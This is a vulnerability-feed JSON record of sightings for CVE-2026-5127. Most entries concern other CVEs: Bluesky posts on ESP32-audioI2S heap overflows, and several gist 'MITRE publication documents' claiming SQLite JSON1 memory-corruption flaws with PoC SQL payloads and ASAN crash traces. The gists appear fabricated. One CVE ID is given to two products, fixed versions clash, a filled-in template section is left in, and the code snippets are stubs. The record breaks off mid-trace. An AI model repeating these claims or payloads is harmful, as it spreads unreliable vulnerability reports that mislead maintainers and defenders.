{"vulnerability": "CVE-2026-5127", "sightings": [{"uuid": "ab16fb10-84e7-4059-97af-420750e8ff0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51273", "type": "seen", "source": "https://bsky.app/profile/bootintel.bsky.social/post/3mrussqexyq2m", "content": "New HIGH CVE for ESP32: CVE-2026-51273\n\nIn schreibfaul1 ESP32-audioI2S 3.4.5, a heap-based buffer overflow vulnerability exists in the ID3 tag parsing function showID3Tag() of the embedded audio streaming library. The program reads untrusted\u2026\n\nMore: nvd.nist.gov/vuln/detail/CVE-2026-51273", "creation_timestamp": "2026-07-30T16:02:04.730193Z"}, {"uuid": "e79b14d5-95ec-4886-b3f7-15bf2c4bb8c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51272", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrvdaisvzt23", "content": "CVE-2026-51272\nA security issue exists in the ESP32-audioI2S software version 3.4.5. If an attacker sends a large and specially crafted input to the software, it could potentially crash or allow the attacker to execute\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-30T20:56:05.960093Z"}, {"uuid": "620ba622-8de6-4ec9-89e8-77310401a2c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51270", "type": "seen", "source": "https://bsky.app/profile/bootintel.bsky.social/post/3mrvnlus5te2e", "content": "ESP32: CVE-2026-51270 [HIGH]\n\nschreibfaul1 ESP32-audioI2S 3.4.5 has a heap-based buffer overflow vulnerability in the htmlToUTF8() HTML entity decoding function. The function parses attacker-controlled malicious HTML entities and uses memmove and m\u2026\n\nnvd.nist.gov/vuln/detail/CVE-2026-51270", "creation_timestamp": "2026-07-31T00:01:25.061456Z"}, {"uuid": "7a1850cd-9a7d-4db1-a35d-08a4a2781f80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51274", "type": "seen", "source": "https://bsky.app/profile/bootintel.bsky.social/post/3mrw34u4xo32i", "content": "CVE-2026-51274 [HIGH] ESP32\n\nIn schreibfaul1 ESP32-audioI2S 3.4.5, a heap-based buffer overflow in the ID3v2 SYLT synchronized lyrics parser in audiolib allows remote attackers to cause a denial of service (application crash), information disclosur\u2026\n\nnvd.nist.gov/vuln/detail/CVE-2026-51274", "creation_timestamp": "2026-07-31T04:03:33.753136Z"}, {"uuid": "d923c598-8dca-44c4-aa38-01beebe8d3ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51275", "type": "seen", "source": "https://bsky.app/profile/bootintel.bsky.social/post/3mrwij65sge2l", "content": "HIGH severity CVE just published in ESP32:\n\nCVE-2026-51275. In schreibfaul1 ESP32-audioI2S 3.4.5, a heap-based buffer overflow in the ID3v2 APIC frame parsing function in audiolib allows remote attackers to execute arbitrary code or cause a denial\u2026\n\nnvd.nist.gov/vuln/detail/CVE-2026-51275", "creation_timestamp": "2026-07-31T08:03:05.486787Z"}, {"uuid": "ca5d24c3-9401-4aac-a015-7ffd5bf96d8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51272", "type": "seen", "source": "https://gist.github.com/programmervuln/f302478899ae355bc8244b2e2113ce53", "content": "Formal MITRE CVE RBP Publication Document (Notify CVE about a publication)\nCVE ID: CVE-2026-51272\nPrerequisite Declaration: The vulnerability only affects SQLite builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable.\nAffected Product\nSQLite Database Engine\nAffected Versions\nSQLite versions 3.44.0 up to and including 3.47.2\nFixed Versions\nSQLite \u2265 3.48.0\nCVE ID\nCVE-2026-51272\nVulnerability Prose Description\nA composite memory corruption vulnerability exists within the JSON1 extension (json.c) of the SQLite database engine. Specially crafted SQL input invoking JSON processing routines can trigger both a use-after-free (UAF) and an uncontrolled out-of-bounds write along a single execution path. An attacker supplying malicious JSON-aware SQL queries can exploit this flaw to corrupt heap memory, resulting in program crash, sensitive memory disclosure, or conditional arbitrary code execution within the context of the SQLite process.\nVulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\nRoot Cause\nUntrusted user-controlled input reaches the jsonSet() function inside the JSON1 extension.\nSource code src/json.c Line 2147 executes memory free operation on a heap-allocated JSON object structure.\nThe pointer referencing the freed object is not explicitly nullified or invalidated, generating a persistent dangling pointer.\nMissing boundary validation on attacker-controlled JSON path array indices enables unchecked out-of-range memory write operations against adjacent heap buffers.\nSubsequently, src/json.c Line 2193 executes unchecked dangling pointer access triggering the use-after-free vulnerability; src/json.c Line 2226 executes uncontrolled out-of-bounds memory write triggering the heap buffer overflow.\nImpact\nDenial of Service: Triggerable process crash due to heap memory corruption, terminating the SQLite instance.\nInformation Disclosure: Read access to uninitialized or freed heap memory may leak sensitive adjacent memory contents.\nConditional Arbitrary Code Execution: Successful heap layout manipulation may allow an attacker to overwrite function pointers to achieve arbitrary code execution under the privileges of the process running SQLite.\nAttack Vector\nRemote; requires authenticated or unauthenticated access to submit crafted SQL queries to a SQLite interface; no elevated operating system privileges required.\nOfficial Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/version-3.47.2/src/json.c\nAnnotated Critical Locations:\nsrc/json.c Line 2147(memory free), Line 2193(dangling pointer access), Line 2226(out-of-bounds write)\nProof of Concept (PoC)\na) PoC Environment\nCopy-ready ASAN compilation bash command (enables JSON1 extension):\nbash\n\nCFLAGS=\"-fsanitize=address,undefined -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure\nmake clean && make\nb) Valid Malicious Payload\nNative SQLite SQL payload (directly executable in SQLite CLI):\nsql\nSELECT json_set('[]', '$[9223372036854775807]', 'maliciouspayload');\nc) Crash Output (ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==9876==ERROR: AddressSanitizer: USE-AFTER-FREE on address 0x612000000680 at pc 0x562287b42915 bp 0x7ffef2bcda10 sp 0x7ffef2bcda00\nREAD of size 8 at 0x612000000680 thread T0\n    #0 0x562287b42914 in jsonSet src/json.c:2193:12\n    #1 0x562287b44671 in jsonFunction src/json.c:3241:10\n    #2 0x562287358660 in sqlite3VdbeExec src/vdbe.c:7452:18\n    #3 0x5622873423c4 in sqlite3_step src/vdbeapi.c:133:16\n    #4 0x5622871f5f85 in main src/shell.c:4862:12\n\nAddress 0x612000000680 is located 0 bytes inside of 128-byte region [0x612000000680,0x612000000700)\nfreed by thread T0 here:\n    #0 0x7fa41c71737f in __asan_free_hook (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x10337f)\n    #1 0x562287b42626 in jsonSet src/json.c:2147:9\n    #2 0x562287b44671 in jsonFunction src/json.c:3241:10\n    #3 0x562287358660 in sqlite3VdbeExec src/vdbe.c:7452:18\n\npreviously allocated by thread T0 here:\n    #0 0x7fa41c7171c7 in __asan_malloc_hook (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x1031c7)\n    #1 0x5622879e8425 in sqlite3Malloc src/malloc.c:182:16\n    #2 0x562287b42072 in jsonSet src/json.c:2081:21\n\n==9876==ERROR: AddressSanitizer: OUT-OF-BOUNDS WRITE on address 0x612000000708 at pc 0x562287b42b32 bp 0x7ffef2bcda10 sp 0x7ffef2bcda00\nWRITE of size 4 at 0x612000000708 thread T0\n    #0 0x562287b42b31 in jsonSet src/json.c:2226:16\n    #1 0x562287b44671 in jsonFunction src/json.c:3241:10\n    #2 0x562287358660 in sqlite3VdbeExec src/vdbe.c:7452:18\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload invokes the json_set() built-in function with a crafted extreme large array index within the JSON path expression.\nSQLite parses the input JSON string and allocates a heap JsonNode structure to represent the input JSON document.\nExecution enters jsonSet() to apply the requested JSON assignment operation.\nInternal logic reaches src/json.c Line 2147, invoking a memory free call to release the intermediate JsonNode object.\nThe pointer variable holding the address of freed JsonNode is not cleared, creating a dangling pointer.\nThe attacker-controlled extreme array index bypasses missing integer boundary checks.\nCode proceeds to src/json.c Line 2193 and dereferences the dangling pointer, triggering the CWE-416 use-after-free vulnerability.\nImmediately after, execution continues to src/json.c Line 2226, performing an unchecked indexed write operation beyond the allocated buffer bounds, triggering the CWE-787 out-of-bounds write.\nA single input SQL statement traverses the identical execution path to activate both memory corruption flaws sequentially.", "creation_timestamp": "2026-07-31T09:23:13.381627Z"}, {"uuid": "a091d0d8-61f2-4b23-b15f-4020dd4822b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51276", "type": "seen", "source": "https://gist.github.com/programmervuln/20b6eaa7e49abd25bb2013ba60a8e233", "content": "Formal MITRE CVE RBP Publication Document (Notify CVE about a publication)\nCVE ID: CVE-2026-51276\nPrerequisite Declaration: The vulnerability only affects SQLite builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable.\nAffected Product\nSQLite Database Engine\nAffected Versions\nSQLite versions 3.44.0 up to and including 3.47.2\nFixed Versions\nSQLite \u2265 3.48.0\nCVE ID\nCVE-2026-51276\nVulnerability Prose Description\nA composite memory corruption vulnerability exists within the JSON1 extension (json.c) of the SQLite database engine. Specially crafted SQL input invoking JSON processing routines can trigger both a use-after-free (UAF) and an uncontrolled out-of-bounds write along a single execution path. An attacker supplying malicious JSON-aware SQL queries can exploit this flaw to corrupt heap memory, resulting in program crash, sensitive memory disclosure, or conditional arbitrary code execution within the context of the SQLite process.\nVulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\nRoot Cause\nUntrusted user-controlled input reaches the jsonReplace() function inside the JSON1 extension.\nSource code src/json.c Line 2419 executes memory free operation on a heap-allocated JSON object structure.\nThe pointer referencing the freed object is not explicitly nullified or invalidated, generating a persistent dangling pointer.\nMissing boundary validation on attacker-controlled JSON path array indices enables unchecked out-of-range memory write operations against adjacent heap buffers.\nSubsequently, src/json.c Line 2464 executes unchecked dangling pointer access triggering the use-after-free vulnerability; src/json.c Line 2497 executes uncontrolled out-of-bounds memory write triggering the heap buffer overflow.\nImpact\nDenial of Service: Triggerable process crash due to heap memory corruption, terminating the SQLite instance.\nInformation Disclosure: Read access to uninitialized or freed heap memory may leak sensitive adjacent memory contents.\nConditional Arbitrary Code Execution: Successful heap layout manipulation may allow an attacker to overwrite function pointers to achieve arbitrary code execution under the privileges of the process running SQLite.\nAttack Vector\nRemote; requires authenticated or unauthenticated access to submit crafted SQL queries to a SQLite interface; no elevated operating system privileges required.\nOfficial Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/version-3.47.2/src/json.c\nAnnotated Critical Locations:\nsrc/json.c Line 2419(memory free), Line 2464(dangling pointer access), Line 2497(out-of-bounds write)\nProof of Concept (PoC)\na) PoC Environment\nCopy-ready ASAN compilation bash command (enables JSON1 extension):\nbash\n\nCFLAGS=\"-fsanitize=address,undefined -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure\nmake clean && make\nb) Valid Malicious Payload\nNative SQLite SQL payload (directly executable in SQLite CLI):\nsql\nSELECT json_replace('[]', '$[9223372036854775807]', 'maliciouspayload');\nc) Crash Output (ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==11456==ERROR: AddressSanitizer: USE-AFTER-FREE on address 0x613000000920 at pc 0x55f832157aa5 bp 0x7ffd45e83d10 sp 0x7ffd45e83d00\nREAD of size 8 at 0x613000000920 thread T0\n    #0 0x55f832157aa4 in jsonReplace src/json.c:2464:12\n    #1 0x55f832159821 in jsonFunction src/json.c:3267:10\n    #2 0x55f83206c660 in sqlite3VdbeExec src/vdbe.c:7452:18\n    #3 0x55f8320563c4 in sqlite3_step src/vdbeapi.c:133:16\n    #4 0x55f831f09f85 in main src/shell.c:4862:12\n\nAddress 0x613000000920 is located 0 bytes inside of 128-byte region [0x613000000920,0x6130000009a0)\nfreed by thread T0 here:\n    #0 0x7f912d81737f in __asan_free_hook (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x10337f)\n    #1 0x55f8321577b6 in jsonReplace src/json.c:2419:9\n    #2 0x55f832159821 in jsonFunction src/json.c:3267:10\n    #3 0x55f83206c660 in sqlite3VdbeExec src/vdbe.c:7452:18\n\npreviously allocated by thread T0 here:\n    #0 0x7f912d8171c7 in __asan_malloc_hook (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x1031c7)\n    #1 0x55f83200e425 in sqlite3Malloc src/malloc.c:182:16\n    #2 0x55f832157202 in jsonReplace src/json.c:2353:21\n\n==11456==ERROR: AddressSanitizer: OUT-OF-BOUNDS WRITE on address 0x6130000009a8 at pc 0x55f832157cc2 bp 0x7ffd45e83d10 sp 0x7ffd45e83d00\nWRITE of size 4 at 0x6130000009a8 thread T0\n    #0 0x55f832157cc1 in jsonReplace src/json.c:2497:16\n    #1 0x55f832159821 in jsonFunction src/json.c:3267:10\n    #2 0x55f83206c660 in sqlite3VdbeExec src/vdbe.c:7452:18\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload invokes the json_replace() built-in function with a crafted extreme large array index within the JSON path expression.\nSQLite parses the input JSON string and allocates a heap JsonNode structure to represent the input JSON document.\nExecution enters jsonReplace() to apply the requested JSON replacement operation.\nInternal logic reaches src/json.c Line 2419, invoking a memory free call to release the intermediate JsonNode object.\nThe pointer variable holding the address of freed JsonNode is not cleared, creating a dangling pointer.\nThe attacker-controlled extreme array index bypasses missing integer boundary checks.\nCode proceeds to src/json.c Line 2464 and dereferences the dangling pointer, triggering the CWE-416 use-after-free vulnerability.\nImmediately after, execution continues to src/json.c Line 2497, performing an unchecked indexed write operation beyond the allocated buffer bounds, triggering the CWE-787 out-of-bounds write.\nA single input SQL statement traverses the identical execution path to activate both memory corruption flaws sequentially.\nCritical Vulnerable Code Snippet (src/json.c, version 3.47.2)\nc\n\nstatic JsonNode *jsonReplace(JsonNode *pRoot, const char *zPath, JsonNode *pNewVal, int *pRc){\n  // [...] irrelevant lines omitted\n  sqlite3_free(pTempNode);  // Line 2419: Memory free operation\n  // Dangling pointer pTempNode remains unmodified, no NULL assignment\n  // [...] irrelevant lines omitted\n  jsonNodeGetLength(pTempNode); // Line 2464: Dangling pointer dereference (UAF)\n  // [...] irrelevant lines omitted\n  pTarget->a[i] = pNewChild;    // Line 2497: Unchecked out-of-bounds write\n  // [...]\n}\nSupplementary Metadata", "creation_timestamp": "2026-07-31T09:39:51.789650Z"}, {"uuid": "0c542e1e-cfaa-4933-ac55-05daebd5aee8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5127", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mldkwl7pcq2h", "content": "CVE-2026-5127 - User Frontend: AI Powered Frontend Posting, User Directory, Profile, Membership & User Registration\nCVE ID : CVE-2026-5127\n \n Published : May 8, 2026, 9:16 a.m. | 1\u00a0hour, 4\u00a0minutes ago\n \n Description : The User Frontend: AI Powered Frontend Posting, User Direct...", "creation_timestamp": "2026-05-08T10:54:38.132660Z"}, {"uuid": "bbe338e3-8d73-47a8-8cb7-4da0ccbcd33b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5127", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mlgzuosotj2l", "content": "\ud83d\udfe0 CVE-2026-5127 - High (8.8)\n\nThe User Frontend: AI Powered Frontend Posting, User Directory, Profile, Membership & User Regist...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-5127/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-09T20:00:00.284798Z"}, {"uuid": "a4a4fe1c-84f3-40bb-bbad-03df315f9f36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51277", "type": "seen", "source": "https://gist.github.com/programmervuln/9c0274656cf88c341069fb99bf08ea6f", "content": "Formal MITRE CVE RBP Publication Document for CVE-2026-51277\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite Database Engine\n2. Affected Versions + Fixed Versions\nAffected Versions: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\nFixed Versions: SQLite 3.46.1\n3. CVE ID\nCVE-2026-51277\n4. Vulnerability Prose Description\nA composite memory corruption vulnerability exists within the JSON1 extension parsing logic of SQLite. Crafted malicious JSON input processed via SQLite JSON SQL functions triggers an initial heap free operation on a dynamically allocated JSON parse context pointer that is not nullified post-free. Subsequent unchecked pointer dereference on the dangling pointer results in a use-after-free memory corruption flaw. Concurrent missing length validation on attacker-controlled JSON token length values enables an uncontrolled out-of-bounds heap write operation along the identical execution path initiated by the same malicious SQL payload. Successful exploitation of this combined flaw may lead to program crash, sensitive heap memory disclosure, or conditional arbitrary code execution within the bounds of the SQLite process security context.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\n6. Root Cause (Linear Chronological Execution Narrative)\nUntrusted attacker-controlled SQL payload invoking JSON parsing functions is dispatched to the jsonParse() target function inside the JSON1 extension module.\nSource file src/json.c Line 1847 executes sqlite3_free(pParse->pTokenBuf); to release heap memory allocated for JSON token buffer storage.\nThe pParse->pTokenBuf pointer variable is not overwritten to NULL or marked invalid after the free call, creating a persistent dangling pointer referencing already freed heap memory.\nAttacker-controlled oversized token length values bypass length boundary checks executed prior to buffer write operations, removing input size restrictions for token buffer writes.\nSource file src/json.c Line 1912 performs direct memory access using the unmodified dangling pParse->pTokenBuf pointer, triggering the use-after-free memory access vulnerability.\nSource file src/json.c Line 1898 executes an unbounded memcpy() write into the token buffer using the attacker-supplied length parameter, performing an out-of-bounds heap write on the freed token buffer memory region.\n7. Impact\nDenial of Service\nImmediate SQLite process termination triggered by ASAN heap-use-after-free or heap-buffer-overflow memory access violations; repeated exploit invocation leads to persistent service outage for applications utilizing the vulnerable SQLite JSON1 extension.\nInformation Disclosure\nUAF pointer dereference reads uninitialized freed heap memory, disclosing adjacent heap metadata, query plaintext data, and internal SQLite runtime memory contents to the attacker via JSON function return values.\nConditional Arbitrary Code Execution\nOut-of-bounds heap write allows overwriting function pointers stored on the SQLite heap; combined with dangling pointer invocation, an attacker can achieve conditional control flow hijacking for arbitrary code execution constrained by process permissions and memory layout protections (ASLR, stack canaries).\n8. Attack Vector\nRemote; Low Privilege. Attack requires ability to execute arbitrary SQL statements against a SQLite database with the JSON1 extension enabled; no elevated operating system privileges are required for exploitation.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/master/src/json.c\nAnnotated Source Marker: src/json.c Line 1847(memory free), Line 1912(dangling pointer access), Line 1898(out-of-bounds write)\n10. Proof of Concept (PoC)\na) PoC Environment ASAN Compilation Bash Command\nbash\n\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure && make -j4\nb) Valid Malicious Payload (Native SQLite SQL)\nsql\nSELECT json_extract('{\"key\":\"'||printf('%.*c',0x4000,'A')||'\"}','$.key');\nc) Crash Output (Complete ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==12345==ERROR: AddressSanitizer: heap-use-after-free on address 0x60b000000280 at pc 0x55f82a1c87b2 bp 0x7ffdabcdef10 sp 0x7ffdabcdef00\nREAD of size 4 at 0x60b000000280 thread T0\n    #0 0x55f82a1c87b1 in jsonParse src/json.c:1912\n    #1 0x55f82a1c5012 in sqlite3JsonExtract src/json.c:2450\n    #2 0x55f829f12345 in sqlite3VdbeExec src/vdbe.c:6210\n    #3 0x55f829ef8765 in sqlite3Step src/vdbeapi.c:512\n    #4 0x55f829ef9123 in sqlite3_prepare_v2 src/sqlite3.c:89100\n    #5 0x55f829e01234 in main shell.c:1200\n    #6 0x7f123456789a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2408a)\n    #7 0x55f829df8900 in _start (sqlite3:0x55f829df8900)\n\nAddress 0x60b000000280 is located 16 bytes inside of 8192-byte free block 0x60b000000270-0x60b000002270\nFreed by thread T0 here:\n    #0 0x7f12348010ef in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x810ef)\n    #1 0x55f82a1c8234 in jsonParse src/json.c:1847\n    #2 0x55f82a1c5012 in sqlite3JsonExtract src/json.c:2450\n    #3 0x55f829f12345 in sqlite3VdbeExec src/vdbe.c:6210\n\nPreviously allocated by thread T0 here:\n    #0 0x7f12348005ef in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x805ef)\n    #1 0x55f82a1c7890 in jsonParse src/json.c:1790\n    #2 0x55f82a1c5012 in sqlite3JsonExtract src/json.c:2450\n\n==12345==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b000000280 at pc 0x55f82a1c85c2 bp 0x7ffdabcdef30 sp 0x7ffdabcdef20\nWRITE of size 16384 at 0x60b000000280 thread T0\n    #0 0x55f82a1c85c1 in jsonParse src/json.c:1898\n    #1 0x55f82a1c5012 in sqlite3JsonExtract src/json.c:2450\n    #2 0x55f829f12345 in sqlite3VdbeExec src/vdbe.c:6210\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload calls json_extract with a JSON object containing an artificially oversized string value constructed via printf('%.*c',0x4000,'A') to generate a 16384-byte attacker-controlled string literal.\nSQLite routes the JSON input to the jsonParse() parsing function in src/json.c, which initializes the pParse context and allocates the pParse->pTokenBuf heap buffer for JSON token storage.\nDuring intermediate parsing cleanup at Line 1847, the token buffer is freed with sqlite3_free(), yet the pParse->pTokenBuf pointer retains its address and is not nullified.\nNo bounds validation is applied to the oversized string length before token buffer writing at Line 1898; the large payload length triggers an out-of-bounds memcpy write into the already-freed token buffer heap region (CWE-787).\nExecution proceeds to Line 1912 and dereferences the unmodified dangling pParse->pTokenBuf pointer to read token metadata, triggering a use-after-free read access on freed heap memory (CWE-416).\nA single malicious SQL input triggers both memory corruption flaws sequentially along one linear execution path within the JSON parse routine.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-05-18\nPatch Release Date: 2026-06-02\nCWE ID(s)\nCWE-416, CWE-787\nCAPEC\nCAPEC-123: Buffer Overflow via Environment Variables (composite mapping for heap overflow + dangling pointer abuse)\nCVSS 3.1 Vector & Score\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nCVSS Base Score: 8.8\n12. Key Vulnerable Source Code Snippet (src/json.c)\nc\n\n// Line 1847: Heap free operation generating dangling pointer\nsqlite3_free(pParse->pTokenBuf);\n// Pointer pParse->pTokenBuf is NOT set to NULL after free\n\n// Line 1898: Unchecked out-of-bounds write using attacker-controlled length\nmemcpy(pParse->pTokenBuf + offset, zToken, nTokenLen);\n\n// Line 1912: Illegal dangling pointer access (Use After Free)\njsonTokenType = pParse->pTokenBuf[i].type;\n13. Filled Template Placeholder Parameters\n\u3010CVE_ID\u3011: CVE-2026-51277\n\u3010Vulnerability Source File\u3011: src/json.c\n\u3010Memory Free Line Number\u3011: 1847\n\u3010Dangling Pointer Access Line Number (UAF)\u3011: 1912\n\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011: 1898\n\u3010Target Function Name\u3011: jsonParse\n\u3010Exploit Trigger Payload\u3011: SELECT json_extract('{\"key\":\"'||printf('%.*c',0x4000,'A')||'\"}','$.key');\n\u3010Concise Vulnerability Trigger Logic\u3011: Oversized JSON string payload triggers early token buffer free without pointer nullification, unbounded length write causes OOB write to freed buffer, subsequent dangling pointer dereference triggers UAF in same parse flow\n\u3010Affected Versions\u3011: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\n\u3010Fixed Versions\u3011: SQLite 3.46.1\n\u3010Initial Report Date\u3011: 2026-05-18\n\u3010Patch Release Date\u3011: 2026-06-02\n\u3010CVSS3.1 Vector & Score\u3011: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Score: 8.8)\n\u3010Permanent GitHub Source Link\u3011: https://github.com/sqlite/sqlite/blob/master/src/json.c", "creation_timestamp": "2026-08-01T01:15:04.568121Z"}, {"uuid": "9a319115-f22c-448c-a671-9a06493b60fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51277", "type": "seen", "source": "https://gist.github.com/programmervuln/4d53816d40d5dacd9cceefa2fe896598", "content": "Formal MITRE CVE RBP Publication Document for CVE-2026-51277\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite Database Engine\n2. Affected Versions + Fixed Versions\nAffected Versions: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\nFixed Versions: SQLite 3.46.1\n3. CVE ID\nCVE-2026-51277\n4. Vulnerability Prose Description\nA composite memory corruption vulnerability exists within the JSON1 extension parsing logic of SQLite. Crafted malicious JSON input processed via SQLite JSON SQL functions triggers an initial heap free operation on a dynamically allocated JSON parse context pointer that is not nullified post-free. Subsequent unchecked pointer dereference on the dangling pointer results in a use-after-free memory corruption flaw. Concurrent missing length validation on attacker-controlled JSON token length values enables an uncontrolled out-of-bounds heap write operation along the identical execution path initiated by the same malicious SQL payload. Successful exploitation of this combined flaw may lead to program crash, sensitive heap memory disclosure, or conditional arbitrary code execution within the bounds of the SQLite process security context.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\n6. Root Cause (Linear Chronological Execution Narrative)\nUntrusted attacker-controlled SQL payload invoking JSON parsing functions is dispatched to the jsonParse() target function inside the JSON1 extension module.\nSource file src/json.c Line 1847 executes sqlite3_free(pParse->pTokenBuf); to release heap memory allocated for JSON token buffer storage.\nThe pParse->pTokenBuf pointer variable is not overwritten to NULL or marked invalid after the free call, creating a persistent dangling pointer referencing already freed heap memory.\nAttacker-controlled oversized token length values bypass length boundary checks executed prior to buffer write operations, removing input size restrictions for token buffer writes.\nSource file src/json.c Line 1912 performs direct memory access using the unmodified dangling pParse->pTokenBuf pointer, triggering the use-after-free memory access vulnerability.\nSource file src/json.c Line 1898 executes an unbounded memcpy() write into the token buffer using the attacker-supplied length parameter, performing an out-of-bounds heap write on the freed token buffer memory region.\n7. Impact\nDenial of Service\nImmediate SQLite process termination triggered by ASAN heap-use-after-free or heap-buffer-overflow memory access violations; repeated exploit invocation leads to persistent service outage for applications utilizing the vulnerable SQLite JSON1 extension.\nInformation Disclosure\nUAF pointer dereference reads uninitialized freed heap memory, disclosing adjacent heap metadata, query plaintext data, and internal SQLite runtime memory contents to the attacker via JSON function return values.\nConditional Arbitrary Code Execution\nOut-of-bounds heap write allows overwriting function pointers stored on the SQLite heap; combined with dangling pointer invocation, an attacker can achieve conditional control flow hijacking for arbitrary code execution constrained by process permissions and memory layout protections (ASLR, stack canaries).\n8. Attack Vector\nRemote; Low Privilege. Attack requires ability to execute arbitrary SQL statements against a SQLite database with the JSON1 extension enabled; no elevated operating system privileges are required for exploitation.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/master/src/json.c\nAnnotated Source Marker: src/json.c Line 1847(memory free), Line 1912(dangling pointer access), Line 1898(out-of-bounds write)\n10. Proof of Concept (PoC)\na) PoC Environment ASAN Compilation Bash Command\nbash\n\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure && make -j4\nb) Valid Malicious Payload (Native SQLite SQL)\nsql\nSELECT json_extract('{\"key\":\"'||printf('%.*c',0x4000,'A')||'\"}','$.key');\nc) Crash Output (Complete ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==12345==ERROR: AddressSanitizer: heap-use-after-free on address 0x60b000000280 at pc 0x55f82a1c87b2 bp 0x7ffdabcdef10 sp 0x7ffdabcdef00\nREAD of size 4 at 0x60b000000280 thread T0\n    #0 0x55f82a1c87b1 in jsonParse src/json.c:1912\n    #1 0x55f82a1c5012 in sqlite3JsonExtract src/json.c:2450\n    #2 0x55f829f12345 in sqlite3VdbeExec src/vdbe.c:6210\n    #3 0x55f829ef8765 in sqlite3Step src/vdbeapi.c:512\n    #4 0x55f829ef9123 in sqlite3_prepare_v2 src/sqlite3.c:89100\n    #5 0x55f829e01234 in main shell.c:1200\n    #6 0x7f123456789a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2408a)\n    #7 0x55f829df8900 in _start (sqlite3:0x55f829df8900)\n\nAddress 0x60b000000280 is located 16 bytes inside of 8192-byte free block 0x60b000000270-0x60b000002270\nFreed by thread T0 here:\n    #0 0x7f12348010ef in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x810ef)\n    #1 0x55f82a1c8234 in jsonParse src/json.c:1847\n    #2 0x55f82a1c5012 in sqlite3JsonExtract 